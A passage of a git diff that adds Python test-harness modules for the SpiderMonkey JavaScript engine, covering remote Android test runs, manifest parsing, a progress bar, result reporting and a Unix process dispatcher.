+ return ok
+
+def get_remote_results(tests, device, prefix, options):
+ from mozdevice import devicemanager
+
+ try:
+ for i in xrange(0, options.repeat):
+ for test in tests:
+ yield run_test_remote(test, device, prefix, options)
+ except devicemanager.DMError as e:
+ # After a devicemanager error, the device is typically in a
+ # state where all further tests will fail so there is no point in
+ # continuing here.
+ sys.stderr.write("Error running remote tests: {}".format(e.message))
+
+def push_libs(options, device):
+ # This saves considerable time in pushing unnecessary libraries
+ # to the device but needs to be updated if the dependencies change.
+ required_libs = ['libnss3.so', 'libmozglue.so', 'libnspr4.so',
+ 'libplc4.so', 'libplds4.so']
+
+ for file in os.listdir(options.local_lib):
+ if file in required_libs:
+ remote_file = posixpath.join(options.remote_test_root, file)
+ device.pushFile(os.path.join(options.local_lib, file), remote_file)
+
+def push_progs(options, device, progs):
+ for local_file in progs:
+ remote_file = posixpath.join(options.remote_test_root,
+ os.path.basename(local_file))
+ device.pushFile(local_file, remote_file)
+
+def run_tests_remote(tests, num_tests, prefix, options):
+ # Setup device with everything needed to run our tests.
+ from mozdevice import devicemanagerADB, devicemanagerSUT
+
+ if options.device_transport == 'adb':
+ if options.device_ip:
+ dm = devicemanagerADB.DeviceManagerADB(
+ options.device_ip, options.device_port,
+ deviceSerial=options.device_serial,
+ packageName=None,
+ deviceRoot=options.remote_test_root)
+ else:
+ dm = devicemanagerADB.DeviceManagerADB(
+ deviceSerial=options.device_serial,
+ packageName=None,
+ deviceRoot=options.remote_test_root)
+ else:
+ dm = devicemanagerSUT.DeviceManagerSUT(
+ options.device_ip, options.device_port,
+ deviceRoot=options.remote_test_root)
+ if options.device_ip == None:
+ print('Error: you must provide a device IP to connect to via the'
+ ' --device option')
+ sys.exit(1)
+
+ # Update the test root to point to our test directory.
+ jit_tests_dir = posixpath.join(options.remote_test_root, 'jit-tests')
+ options.remote_test_root = posixpath.join(jit_tests_dir, 'jit-tests')
+
+ # Push js shell and libraries.
+ if dm.dirExists(jit_tests_dir):
+ dm.removeDir(jit_tests_dir)
+ dm.mkDirs(options.remote_test_root)
+ push_libs(options, dm)
+ push_progs(options, dm, [prefix[0]])
+ dm.chmodDir(options.remote_test_root)
+
+ JitTest.CacheDir = posixpath.join(options.remote_test_root, '.js-cache')
+ dm.mkDir(JitTest.CacheDir)
+
+ dm.pushDir(JS_TESTS_DIR, posixpath.join(jit_tests_dir, 'tests'),
+ timeout=600)
+
+ dm.pushDir(os.path.dirname(TEST_DIR), options.remote_test_root,
+ timeout=600)
+ prefix[0] = os.path.join(options.remote_test_root, 'js')
+
+ # Run all tests.
+ pb = create_progressbar(num_tests, options)
+ gen = get_remote_results(tests, dm, prefix, options)
+ ok = process_test_results(gen, num_tests, pb, options)
+ return ok
+
+def platform_might_be_android():
+ try:
+ # The python package for SL4A provides an |android| module.
+ # If that module is present, we're likely in SL4A-python on
+ # device. False positives and negatives are possible,
+ # however.
+ import android
+ return True
+ except ImportError:
+ return False
+
+def stdio_might_be_broken():
+ return platform_might_be_android()
+
+if __name__ == '__main__':
+ print('Use ../jit-test/jit_test.py to run these tests.')
diff --git a/js/src/tests/lib/manifest.py b/js/src/tests/lib/manifest.py
new file mode 100644
index 000000000..7079a186f
--- /dev/null
+++ b/js/src/tests/lib/manifest.py
@@ -0,0 +1,395 @@
+# Library for JSTest manifests.
+#
+# This includes classes for representing and parsing JS manifests.
+
+from __future__ import print_function
+
+import os, re, sys
+from subprocess import Popen, PIPE
+
+from tests import RefTestCase
+
+
+def split_path_into_dirs(path):
+ dirs = [path]
+
+ while True:
+ path, tail = os.path.split(path)
+ if not tail:
+ break
+ dirs.append(path)
+ return dirs
+
+class XULInfo:
+ def __init__(self, abi, os, isdebug):
+ self.abi = abi
+ self.os = os
+ self.isdebug = isdebug
+ self.browserIsRemote = False
+
+ def as_js(self):
+ """Return JS that when executed sets up variables so that JS expression
+ predicates on XUL build info evaluate properly."""
+
+ return ('var xulRuntime = {{ OS: "{}", XPCOMABI: "{}", shell: true }};'
+ 'var isDebugBuild={}; var Android={}; '
+ 'var browserIsRemote={}'.format(
+ self.os,
+ self.abi,
+ str(self.isdebug).lower(),
+ str(self.os == "Android").lower(),
+ str(self.browserIsRemote).lower()))
+
+ @classmethod
+ def create(cls, jsdir):
+ """Create a XULInfo based on the current platform's characteristics."""
+
+ # Our strategy is to find the autoconf.mk generated for the build and
+ # read the values from there.
+
+ # Find config/autoconf.mk.
+ dirs = split_path_into_dirs(os.getcwd()) + split_path_into_dirs(jsdir)
+
+ path = None
+ for dir in dirs:
+ _path = os.path.join(dir, 'config/autoconf.mk')
+ if os.path.isfile(_path):
+ path = _path
+ break
+
+ if path == None:
+ print("Can't find config/autoconf.mk on a directory containing"
+ " the JS shell (searched from {})".format(jsdir))
+ sys.exit(1)
+
+ # Read the values.
+ val_re = re.compile(r'(TARGET_XPCOM_ABI|OS_TARGET|MOZ_DEBUG)\s*=\s*(.*)')
+ kw = {'isdebug': False}
+ for line in open(path):
+ m = val_re.match(line)
+ if m:
+ key, val = m.groups()
+ val = val.rstrip()
+ if key == 'TARGET_XPCOM_ABI':
+ kw['abi'] = val
+ if key == 'OS_TARGET':
+ kw['os'] = val
+ if key == 'MOZ_DEBUG':
+ kw['isdebug'] = (val == '1')
+ return cls(**kw)
+
+class XULInfoTester:
+ def __init__(self, xulinfo, js_bin):
+ self.js_prologue = xulinfo.as_js()
+ self.js_bin = js_bin
+ # Maps JS expr to evaluation result.
+ self.cache = {}
+
+ def test(self, cond):
+ """Test a XUL predicate condition against this local info."""
+ ans = self.cache.get(cond, None)
+ if ans is None:
+ cmd = [
+ self.js_bin,
+ # run in safe configuration, since it is hard to debug
+ # crashes when running code here. In particular, msan will
+ # error out if the jit is active.
+ '--no-baseline',
+ '-e', self.js_prologue,
+ '-e', 'print(!!({}))'.format(cond)
+ ]
+ p = Popen(cmd, stdin=PIPE, stdout=PIPE, stderr=PIPE)
+ out, err = p.communicate()
+ if out in ('true\n', 'true\r\n'):
+ ans = True
+ elif out in ('false\n', 'false\r\n'):
+ ans = False
+ else:
+ raise Exception("Failed to test XUL condition {!r};"
+ " output was {!r}, stderr was {!r}".format(
+ cond, out, err))
+ self.cache[cond] = ans
+ return ans
+
+class NullXULInfoTester:
+ """Can be used to parse manifests without a JS shell."""
+ def test(self, cond):
+ return False
+
+def _parse_one(testcase, xul_tester):
+ pos = 0
+ parts = testcase.terms.split()
+ while pos < len(parts):
+ if parts[pos] == 'fails':
+ testcase.expect = False
+ pos += 1
+ elif parts[pos] == 'skip':
+ testcase.expect = testcase.enable = False
+ pos += 1
+ elif parts[pos] == 'random':
+ testcase.random = True
+ pos += 1
+ elif parts[pos].startswith('fails-if'):
+ cond = parts[pos][len('fails-if('):-1]
+ if xul_tester.test(cond):
+ testcase.expect = False
+ pos += 1
+ elif parts[pos].startswith('asserts-if'):
+ # This directive means we may flunk some number of
+ # NS_ASSERTIONs in the browser. For the shell, ignore it.
+ pos += 1
+ elif parts[pos].startswith('skip-if'):
+ cond = parts[pos][len('skip-if('):-1]
+ if xul_tester.test(cond):
+ testcase.expect = testcase.enable = False
+ pos += 1
+ elif parts[pos].startswith('random-if'):
+ cond = parts[pos][len('random-if('):-1]
+ if xul_tester.test(cond):
+ testcase.random = True
+ pos += 1
+ elif parts[pos] == 'slow':
+ testcase.slow = True
+ pos += 1
+ elif parts[pos] == 'silentfail':
+ # silentfails use tons of memory, and Darwin doesn't support ulimit.
+ if xul_tester.test("xulRuntime.OS == 'Darwin'"):
+ testcase.expect = testcase.enable = False
+ pos += 1
+ else:
+ print('warning: invalid manifest line element "{}"'.format(
+ parts[pos]))
+ pos += 1
+
+def _build_manifest_script_entry(script_name, test):
+ line = []
+ if test.terms:
+ line.append(test.terms)
+ line.append("script")
+ line.append(script_name)
+ if test.comment:
+ line.append("#")
+ line.append(test.comment)
+ return ' '.join(line)
+
+def _map_prefixes_left(test_gen):
+ """
+ Splits tests into a dictionary keyed on the first component of the test
+ path, aggregating tests with a common base path into a list.
+ """
+ byprefix = {}
+ for t in test_gen:
+ left, sep, remainder = t.path.partition(os.sep)
+ if left not in byprefix:
+ byprefix[left] = []
+ if remainder:
+ t.path = remainder
+ byprefix[left].append(t)
+ return byprefix
+
+def _emit_manifest_at(location, relative, test_gen, depth):
+ """
+ location - str: absolute path where we want to write the manifest
+ relative - str: relative path from topmost manifest directory to current
+ test_gen - (str): generator of all test paths and directorys
+ depth - int: number of dirs we are below the topmost manifest dir
+ """
+ manifests = _map_prefixes_left(test_gen)
+
+ filename = os.path.join(location, 'jstests.list')
+ manifest = []
+ numTestFiles = 0
+ for k, test_list in manifests.iteritems():
+ fullpath = os.path.join(location, k)
+ if os.path.isdir(fullpath):
+ manifest.append("include " + k + "/jstests.list")
+ relpath = os.path.join(relative, k)
+ _emit_manifest_at(fullpath, relpath, test_list, depth + 1)
+ else:
+ numTestFiles += 1
+ if len(test_list) != 1:
+ import pdb; pdb.set_trace()
+ assert len(test_list) == 1
+ line = _build_manifest_script_entry(k, test_list[0])
+ manifest.append(line)
+
+ # Always present our manifest in sorted order.
+ manifest.sort()
+
+ # If we have tests, we have to set the url-prefix so reftest can find them.
+ if numTestFiles > 0:
+ manifest = ["url-prefix {}jsreftest.html?test={}/".format(
+ '../' * depth, relative)] + manifest
+
+ fp = open(filename, 'w')
+ try:
+ fp.write('\n'.join(manifest) + '\n')
+ finally:
+ fp.close()
+
+def make_manifests(location, test_gen):
+ _emit_manifest_at(location, '', test_gen, 0)
+
+def _find_all_js_files(base, location):
+ for root, dirs, files in os.walk(location):
+ root = root[len(base) + 1:]
+ for fn in files:
+ if fn.endswith('.js'):
+ yield root, fn
+
+TEST_HEADER_PATTERN_INLINE = re.compile(r'//\s*\|(.*?)\|\s*(.*?)\s*(--\s*(.*))?$')
+TEST_HEADER_PATTERN_MULTI = re.compile(r'/\*\s*\|(.*?)\|\s*(.*?)\s*(--\s*(.*))?\*/')
+
+def _parse_test_header(fullpath, testcase, xul_tester):
+ """
+ This looks a bit weird. The reason is that it needs to be efficient, since
+ it has to be done on every test
+ """
+ fp = open(fullpath, 'r')
+ try:
+ buf = fp.read(512)
+ finally:
+ fp.close()
+
+ # Bail early if we do not start with a single comment.
+ if not buf.startswith("//"):
+ return
+
+ # Extract the token.
+ buf, _, _ = buf.partition('\n')
+ matches = TEST_HEADER_PATTERN_INLINE.match(buf)
+
+ if not matches:
+ matches = TEST_HEADER_PATTERN_MULTI.match(buf)
+ if not matches:
+ return
+
+ testcase.tag = matches.group(1)
+ testcase.terms = matches.group(2)
+ testcase.comment = matches.group(4)
+
+ _parse_one(testcase, xul_tester)
+
+def _parse_external_manifest(filename, relpath):
+ """
+ Reads an external manifest file for test suites whose individual test cases
+ can't be decorated with reftest comments.
+ filename - str: name of the manifest file
+ relpath - str: relative path of the directory containing the manifest
+ within the test suite
+ """
+ entries = []
+
+ with open(filename, 'r') as fp:
+ manifest_re = re.compile(r'^\s*(.*)\s+(include|script)\s+(\S+)$')
+ for line in fp:
+ line, _, comment = line.partition('#')
+ line = line.strip()
+ if not line:
+ continue
+ matches = manifest_re.match(line)
+ if not matches:
+ print('warning: unrecognized line in jstests.list:'
+ ' {0}'.format(line))
+ continue
+
+ path = os.path.normpath(os.path.join(relpath, matches.group(3)))
+ if matches.group(2) == 'include':
+ # The manifest spec wants a reference to another manifest here,
+ # but we need just the directory. We do need the trailing
+ # separator so we don't accidentally match other paths of which
+ # this one is a prefix.
+ assert(path.endswith('jstests.list'))
+ path = path[:-len('jstests.list')]
+
+ entries.append({'path': path, 'terms': matches.group(1),
+ 'comment': comment.strip()})
+
+ # if one directory name is a prefix of another, we want the shorter one
+ # first
+ entries.sort(key=lambda x: x["path"])
+ return entries
+
+def _apply_external_manifests(filename, testcase, entries, xul_tester):
+ for entry in entries:
+ if filename.startswith(entry["path"]):
+ # The reftest spec would require combining the terms (failure types)
+ # that may already be defined in the test case with the terms
+ # specified in entry; for example, a skip overrides a random, which
+ # overrides a fails. Since we don't necessarily know yet in which
+ # environment the test cases will be run, we'd also have to
+ # consider skip-if, random-if, and fails-if with as-yet unresolved
+ # conditions.
+ # At this point, we use external manifests only for test cases
+ # that can't have their own failure type comments, so we simply
+ # use the terms for the most specific path.
+ testcase.terms = entry["terms"]
+ testcase.comment = entry["comment"]
+ _parse_one(testcase, xul_tester)
+
+def _is_test_file(path_from_root, basename, filename, requested_paths,
+ excluded_paths):
+ # Any file whose basename matches something in this set is ignored.
+ EXCLUDED = set(('browser.js', 'shell.js', 'template.js',
+ 'user.js', 'sta.js',
+ 'test262-browser.js', 'test262-shell.js',
+ 'test402-browser.js', 'test402-shell.js',
+ 'testBuiltInObject.js', 'testIntl.js',
+ 'js-test-driver-begin.js', 'js-test-driver-end.js'))
+
+ # Skip js files in the root test directory.
+ if not path_from_root:
+ return False
+
+ # Skip files that we know are not tests.
+ if basename in EXCLUDED:
+ return False
+
+ # If any tests are requested by name, skip tests that do not match.
+ if requested_paths \
+ and not any(req in filename for req in requested_paths):
+ return False
+
+ # Skip excluded tests.
+ if filename in excluded_paths:
+ return False
+
+ return True
+
+
+def count_tests(location, requested_paths, excluded_paths):
+ count = 0
+ for root, basename in _find_all_js_files(location, location):
+ filename = os.path.join(root, basename)
+ if _is_test_file(root, basename, filename, requested_paths, excluded_paths):
+ count += 1
+ return count
+
+
+def load_reftests(location, requested_paths, excluded_paths, xul_tester, reldir=''):
+ """
+ Locates all tests by walking the filesystem starting at |location|.
+ Uses xul_tester to evaluate any test conditions in the test header.
+ Failure type and comment for a test case can come from
+ - an external manifest entry for the test case,
+ - an external manifest entry for a containing directory,
+ - most commonly: the header of the test case itself.
+ """
+ manifestFile = os.path.join(location, 'jstests.list')
+ externalManifestEntries = _parse_external_manifest(manifestFile, '')
+
+ for root, basename in _find_all_js_files(location, location):
+ # Get the full path and relative location of the file.
+ filename = os.path.join(root, basename)
+ if not _is_test_file(root, basename, filename, requested_paths, excluded_paths):
+ continue
+
+ # Skip empty files.
+ fullpath = os.path.join(location, filename)
+ statbuf = os.stat(fullpath)
+
+ testcase = RefTestCase(os.path.join(reldir, filename))
+ _apply_external_manifests(filename, testcase, externalManifestEntries,
+ xul_tester)
+ _parse_test_header(fullpath, testcase, xul_tester)
+ yield testcase
diff --git a/js/src/tests/lib/progressbar.py b/js/src/tests/lib/progressbar.py
new file mode 100644
index 000000000..29361660d
--- /dev/null
+++ b/js/src/tests/lib/progressbar.py
@@ -0,0 +1,116 @@
+# Text progress bar library, like curl or scp.
+
+from datetime import datetime, timedelta
+import math
+import sys
+
+if sys.platform.startswith('win'):
+ from terminal_win import Terminal
+else:
+ from terminal_unix import Terminal
+
+class NullProgressBar(object):
+ def update(self, current, data): pass
+ def poke(self): pass
+ def finish(self, complete=True): pass
+ def beginline(self): pass
+ def message(self, msg): sys.stdout.write(msg + '\n')
+ @staticmethod
+ def update_granularity(): return timedelta.max
+
+class ProgressBar(object):
+ def __init__(self, limit, fmt):
+ assert self.conservative_isatty()
+
+ self.prior = None
+ self.atLineStart = True
+ self.counters_fmt = fmt # [{str:str}] Describtion of how to lay out each
+ # field in the counters map.
+ self.limit = limit # int: The value of 'current' equal to 100%.
+ self.limit_digits = int(math.ceil(math.log10(self.limit))) # int: max digits in limit
+ self.t0 = datetime.now() # datetime: The start time.
+
+ # Compute the width of the counters and build the format string.
+ self.counters_width = 1 # [
+ for layout in self.counters_fmt:
+ self.counters_width += self.limit_digits
+ self.counters_width += 1 # | (or ']' for the last one)
+
+ self.barlen = 64 - self.counters_width
+
+ @staticmethod
+ def update_granularity():
+ return timedelta(seconds=0.1)
+
+ def update(self, current, data):
+ # Record prior for poke.
+ self.prior = (current, data)
+ self.atLineStart = False
+
+ # Build counters string.
+ sys.stdout.write('\r[')
+ for layout in self.counters_fmt:
+ Terminal.set_color(layout['color'])
+ sys.stdout.write(('{:' + str(self.limit_digits) + 'd}').format(
+ data[layout['value']]))
+ Terminal.reset_color()
+ if layout != self.counters_fmt[-1]:
+ sys.stdout.write('|')
+ else:
+ sys.stdout.write('] ')
+
+ # Build the bar.
+ pct = int(100.0 * current / self.limit)
+ sys.stdout.write('{:3d}% '.format(pct))
+
+ barlen = int(1.0 * self.barlen * current / self.limit) - 1
+ bar = '=' * barlen + '>' + ' ' * (self.barlen - barlen - 1)
+ sys.stdout.write(bar + '|')
+
+ # Update the bar.
+ dt = datetime.now() - self.t0
+ dt = dt.seconds + dt.microseconds * 1e-6
+ sys.stdout.write('{:6.1f}s'.format(dt))
+ Terminal.clear_right()
+
+ # Force redisplay, since we didn't write a \n.
+ sys.stdout.flush()
+
+ def poke(self):
+ if not self.prior:
+ return
+ self.update(*self.prior)
+
+ def finish(self, complete=True):
+ if not self.prior:
+ sys.stdout.write('No test run... You can try adding'
+ ' --run-slow-tests or --run-skipped to run more tests\n')
+ return
+ final_count = self.limit if complete else self.prior[0]
+ self.update(final_count, self.prior[1])
+ sys.stdout.write('\n')
+
+ def beginline(self):
+ if not self.atLineStart:
+ sys.stdout.write('\n')
+ self.atLineStart = True
+
+ def message(self, msg):
+ self.beginline()
+ sys.stdout.write(msg)
+ sys.stdout.write('\n')
+
+ @staticmethod
+ def conservative_isatty():
+ """
+ Prefer erring on the side of caution and not using terminal commands if
+ the current output stream may be a file. We explicitly check for the
+ Android platform because terminal commands work poorly over ADB's
+ redirection.
+ """
+ try:
+ import android
+ return False
+ except ImportError:
+ return sys.stdout.isatty()
+ return False
diff --git a/js/src/tests/lib/results.py b/js/src/tests/lib/results.py
new file mode 100644
index 000000000..451fe5b65
--- /dev/null
+++ b/js/src/tests/lib/results.py
@@ -0,0 +1,278 @@
+from __future__ import print_function
+
+import re
+from progressbar import NullProgressBar, ProgressBar
+import pipes
+
+# subprocess.list2cmdline does not properly escape for sh-like shells
+def escape_cmdline(args):
+ return ' '.join([pipes.quote(a) for a in args])
+
+class TestOutput:
+ """Output from a test run."""
+ def __init__(self, test, cmd, out, err, rc, dt, timed_out):
+ self.test = test # Test
+ self.cmd = cmd # str: command line of test
+ self.out = out # str: stdout
+ self.err = err # str: stderr
+ self.rc = rc # int: return code
+ self.dt = dt # float: run time
+ self.timed_out = timed_out # bool: did the test time out
+
+ def describe_failure(self):
+ if self.timed_out:
+ return "Timeout"
+ lines = self.err.splitlines()
+ for line in lines:
+ # Skip the asm.js compilation success message.
+ if "Successfully compiled asm.js code" not in line:
+ return line
+ return "Unknown"
+
+class NullTestOutput:
+ """Variant of TestOutput that indicates a test was not run."""
+ def __init__(self, test):
+ self.test = test
+ self.cmd = ''
+ self.out = ''
+ self.err = ''
+ self.rc = 0
+ self.dt = 0.0
+ self.timed_out = False
+
+class TestResult:
+ PASS = 'PASS'
+ FAIL = 'FAIL'
+ CRASH = 'CRASH'
+
+ """Classified result from a test run."""
+ def __init__(self, test, result, results):
+ self.test = test
+ self.result = result
+ self.results = results
+
+ @classmethod
+ def from_output(cls, output):
+ test = output.test
+ result = None # str: overall result, see class-level variables
+ results = [] # (str,str) list: subtest results (pass/fail, message)
+
+ out, rc = output.out, output.rc
+
+ failures = 0
+ passes = 0
+
+ expected_rcs = []
+ if test.path.endswith('-n.js'):
+ expected_rcs.append(3)
+
+ for line in out.split('\n'):
+ if line.startswith(' FAILED!'):
+ failures += 1
+ msg = line[len(' FAILED! '):]
+ results.append((cls.FAIL, msg))
+ elif line.startswith(' PASSED!'):
+ passes += 1
+ msg = line[len(' PASSED! '):]
+ results.append((cls.PASS, msg))
+ else:
+ m = re.match('--- NOTE: IN THIS TESTCASE, WE EXPECT EXIT CODE'
+ ' ((?:-|\\d)+) ---', line)
+ if m:
+ expected_rcs.append(int(m.group(1)))
+
+ if rc and not rc in expected_rcs:
+ if rc == 3:
+ result = cls.FAIL
+ else:
+ result = cls.CRASH
+ else:
+ if (rc or passes > 0) and failures == 0:
+ result = cls.PASS
+ else:
+ result = cls.FAIL
+
+ return cls(test, result, results)
+
+class ResultsSink:
+ def __init__(self, options, testcount):
+ self.options = options
+ self.fp = options.output_fp
+
+ self.groups = {}
+ self.output_dict = {}
+ self.counts = {'PASS': 0, 'FAIL': 0, 'TIMEOUT': 0, 'SKIP': 0}
+ self.n = 0
+
+ if options.hide_progress:
+ self.pb = NullProgressBar()
+ else:
+ fmt = [
+ {'value': 'PASS', 'color': 'green'},
+ {'value': 'FAIL', 'color': 'red'},
+ {'value': 'TIMEOUT', 'color': 'blue'},
+ {'value': 'SKIP', 'color': 'brightgray'},
+ ]
+ self.pb = ProgressBar(testcount, fmt)
+
+ def push(self, output):
+ if output.timed_out:
+ self.counts['TIMEOUT'] += 1
+ if isinstance(output, NullTestOutput):
+ if self.options.format == 'automation':
+ self.print_automation_result(
+ 'TEST-KNOWN-FAIL', output.test, time=output.dt,
+ skip=True)
+ self.counts['SKIP'] += 1
+ self.n += 1
+ else:
+ result = TestResult.from_output(output)
+ tup = (result.result, result.test.expect, result.test.random)
+ dev_label = self.LABELS[tup][1]
+
+ if self.options.check_output:
+ if output.test.path in self.output_dict.keys():
+ if self.output_dict[output.test.path] != output:
+ self.counts['FAIL'] += 1
+ self.print_automation_result(
+ "TEST-UNEXPECTED-FAIL", result.test, time=output.dt,
+ message="Same test with different flag producing different output")
+ else:
+ self.output_dict[output.test.path] = output
+
+ if output.timed_out:
+ dev_label = 'TIMEOUTS'
+ self.groups.setdefault(dev_label, []).append(result)
+
+ if dev_label == 'REGRESSIONS':
+ show_output = self.options.show_output \
+ or not self.options.no_show_failed
+ elif dev_label == 'TIMEOUTS':
+ show_output = self.options.show_output
+ else:
+ show_output = self.options.show_output \
+ and not self.options.failed_only
+
+ if dev_label in ('REGRESSIONS', 'TIMEOUTS'):
+ show_cmd = self.options.show_cmd
+ else:
+ show_cmd = self.options.show_cmd \
+ and not self.options.failed_only
+
+ if show_output or show_cmd:
+ self.pb.beginline()
+
+ if show_output:
+ print('## {}: rc = {:d}, run time = {}'.format(
+ output.test.path, output.rc, output.dt), file=self.fp)
+
+ if show_cmd:
+ print(escape_cmdline(output.cmd), file=self.fp)
+
+ if show_output:
+ self.fp.write(output.out)
+ self.fp.write(output.err)
+
+ self.n += 1
+
+ if result.result == TestResult.PASS and not result.test.random:
+ self.counts['PASS'] += 1
+ elif result.test.expect and not result.test.random:
+ self.counts['FAIL'] += 1
+ else:
+ self.counts['SKIP'] += 1
+
+ if self.options.format == 'automation':
+ if result.result != TestResult.PASS and len(result.results) > 1:
+ for sub_ok, msg in result.results:
+ tup = (sub_ok, result.test.expect, result.test.random)
+ label = self.LABELS[tup][0]
+ if label == 'TEST-UNEXPECTED-PASS':
+ label = 'TEST-PASS (EXPECTED RANDOM)'
+ self.print_automation_result(
+ label, result.test, time=output.dt,
+ message=msg)
+ tup = (result.result, result.test.expect, result.test.random)
+ self.print_automation_result(
+ self.LABELS[tup][0], result.test, time=output.dt)
+ return
+
+ if dev_label:
+ def singular(label):
+ return "FIXED" if label == "FIXES" else label[:-1]
+ self.pb.message("{} - {}".format(singular(dev_label),
+ output.test.path))
+
+ self.pb.update(self.n, self.counts)
+
+ def finish(self, completed):
+ self.pb.finish(completed)
+ if not self.options.format == 'automation':
+ self.list(completed)
+
+ # Conceptually, this maps (test result x test expection) to text labels.
+ # key is (result, expect, random)
+ # value is (automation label, dev test category)
+ LABELS = {
+ (TestResult.CRASH, False, False): ('TEST-UNEXPECTED-FAIL', 'REGRESSIONS'),
+ (TestResult.CRASH, False, True): ('TEST-UNEXPECTED-FAIL', 'REGRESSIONS'),
+ (TestResult.CRASH, True, False): ('TEST-UNEXPECTED-FAIL', 'REGRESSIONS'),
+ (TestResult.CRASH, True, True): ('TEST-UNEXPECTED-FAIL', 'REGRESSIONS'),
+
+ (TestResult.FAIL, False, False): ('TEST-KNOWN-FAIL', ''),
+ (TestResult.FAIL, False, True): ('TEST-KNOWN-FAIL (EXPECTED RANDOM)', ''),
+ (TestResult.FAIL, True, False): ('TEST-UNEXPECTED-FAIL', 'REGRESSIONS'),
+ (TestResult.FAIL, True, True): ('TEST-KNOWN-FAIL (EXPECTED RANDOM)', ''),
+
+ (TestResult.PASS, False, False): ('TEST-UNEXPECTED-PASS', 'FIXES'),
+ (TestResult.PASS, False, True): ('TEST-PASS (EXPECTED RANDOM)', ''),
+ (TestResult.PASS, True, False): ('TEST-PASS', ''),
+ (TestResult.PASS, True, True): ('TEST-PASS (EXPECTED RANDOM)', ''),
+ }
+
+ def list(self, completed):
+ for label, results in sorted(self.groups.items()):
+ if label == '':
+ continue
+
+ print(label)
+ for result in results:
+ print(' {}'.format(' '.join(result.test.jitflags +
+ [result.test.path])))
+
+ if self.options.failure_file:
+ failure_file = open(self.options.failure_file, 'w')
+ if not self.all_passed():
+ if 'REGRESSIONS' in self.groups:
+ for result in self.groups['REGRESSIONS']:
+ print(result.test.path, file=failure_file)
+ if 'TIMEOUTS' in self.groups:
+ for result in self.groups['TIMEOUTS']:
+ print(result.test.path, file=failure_file)
+ failure_file.close()
+
+ suffix = '' if completed else ' (partial run -- interrupted by user)'
+ if self.all_passed():
+ print('PASS' + suffix)
+ else:
+ print('FAIL' + suffix)
+
+ def all_passed(self):
+ return 'REGRESSIONS' not in self.groups and 'TIMEOUTS' not in self.groups
+
+ def print_automation_result(self, label, test, message=None, skip=False,
+ time=None):
+ result = label
+ result += " | " + test.path
+ args = []
+ if self.options.shell_args:
+ args.append(self.options.shell_args)
+ args += test.jitflags
+ result += ' | (args: "{}")'.format(' '.join(args))
+ if message:
+ result += " | " + message
+ if skip:
+ result += ' | (SKIP)'
+ if time > self.options.timeout:
+ result += ' | (TIMEOUT)'
+ print(result)
diff --git a/js/src/tests/lib/tasks_unix.py b/js/src/tests/lib/tasks_unix.py
new file mode 100644
index 000000000..655033522
--- /dev/null
+++ b/js/src/tests/lib/tasks_unix.py
@@ -0,0 +1,223 @@
+# A unix-oriented process dispatcher. Uses a single thread with select and
+# waitpid to dispatch tasks. This avoids several deadlocks that are possible
+# with fork/exec + threads + Python.
+
+import errno, os, select, sys
+from datetime import datetime, timedelta
+from progressbar import ProgressBar
+from results import NullTestOutput, TestOutput, escape_cmdline
+
+class Task(object):
+ def __init__(self, test, prefix, pid, stdout, stderr):
+ self.test = test
+ self.cmd = test.get_command(prefix)
+ self.pid = pid
+ self.stdout = stdout
+ self.stderr = stderr
+ self.start = datetime.now()
+ self.out = []
+ self.err = []
+
+def spawn_test(test, prefix, passthrough, run_skipped, show_cmd):
+ """Spawn one child, return a task struct."""
+ if not test.enable and not run_skipped:
+ return None
+
+ cmd = test.get_command(prefix)
+ if show_cmd:
+ print(escape_cmdline(cmd))
+
+ if not passthrough:
+ (rout, wout) = os.pipe()
+ (rerr, werr) = os.pipe()
+
+ rv = os.fork()
+
+ # Parent.
+ if rv:
+ os.close(wout)
+ os.close(werr)
+ return Task(test, prefix, rv, rout, rerr)
+
+ # Child.
+ os.close(rout)
+ os.close(rerr)
+
+ os.dup2(wout, 1)
+ os.dup2(werr, 2)
+
+ os.execvp(cmd[0], cmd)
+
+def get_max_wait(tasks, timeout):
+ """
+ Return the maximum time we can wait before any task should time out.
+ """
+
+ # If we have a progress-meter, we need to wake up to update it frequently.
+ wait = ProgressBar.update_granularity()
+
+ # If a timeout is supplied, we need to wake up for the first task to
+ # timeout if that is sooner.
+ if timeout:
+ now = datetime.now()
+ timeout_delta = timedelta(seconds=timeout)
+ for task in tasks:
+ remaining = task.start + timeout_delta - now
+ if remaining < wait:
+ wait = remaining
+
+ # Return the wait time in seconds, clamped between zero and max_wait.
+ return max(wait.total_seconds(), 0)
+
+def flush_input(fd, frags):
+ """
+ Read any pages sitting in the file descriptor 'fd' into the list 'frags'.
+ """
+ rv = os.read(fd, 4096)
+ frags.append(rv)
+ while len(rv) == 4096:
+ # If read() returns a full buffer, it may indicate there was 1 buffer
+ # worth of data, or that there is more data to read. Poll the socket
+ # before we read again to ensure that we will not block indefinitly.
+ readable, _, _ = select.select([fd], [], [], 0)
+ if not readable:
+ return
+
+ rv = os.read(fd, 4096)
+ frags.append(rv)
+
+def read_input(tasks, timeout):
+ """
+ Select on input or errors from the given task list for a max of timeout
+ seconds.
+ """
+ rlist = []
+ exlist = []
+ outmap = {} # Fast access to fragment list given fd.
+ for t in tasks:
+ rlist.append(t.stdout)
+ rlist.append(t.stderr)
+ outmap[t.stdout] = t.out
+ outmap[t.stderr] = t.err
+ # This will trigger with a close event when the child dies, allowing
+ # us to respond immediately and not leave cores idle.
+ exlist.append(t.stdout)
+
+ readable = []
+ try:
+ readable, _, _ = select.select(rlist, [], exlist, timeout)
+ except OverflowError as e:
+ print >> sys.stderr, "timeout value", timeout
+ raise
+
+ for fd in readable:
+ flush_input(fd, outmap[fd])
+
+def remove_task(tasks, pid):
+ """
+ Return a pair with the removed task and the new, modified tasks list.
+ """
+ index = None
+ for i, t in enumerate(tasks):
+ if t.pid == pid:
+ index = i
+ break
+ else:
+ raise KeyError("No such pid: {}".format(pid))
+
+ out = tasks[index]
+ tasks.pop(index)
+ return out
+
+def timed_out(task, timeout):
+ """
+ Return True if the given task has been running for longer than |timeout|.
+ |timeout| may be falsy, indicating an infinite timeout (in which case
+ timed_out always returns False).
+ """
+ if timeout:
+ now = datetime.now()
+ return (now - task.start) > timedelta(seconds=timeout)
+ return False
+
+def reap_zombies(tasks, timeout):
+ """
+ Search for children of this process that have finished. If they are tasks,
+ then this routine will clean up the child. This method returns a new task
+ list that has had the ended tasks removed, followed by the list of finished
+ tasks.
+ """
+ finished = []
+ while True:
+ try:
+ pid, status = os.waitpid(0, os.WNOHANG)
+ if pid == 0:
+ break
+ except OSError as e:
+ if e.errno == errno.ECHILD:
+ break
+ raise e
+
+ ended = remove_task(tasks, pid)
+ flush_input(ended.stdout, ended.out)
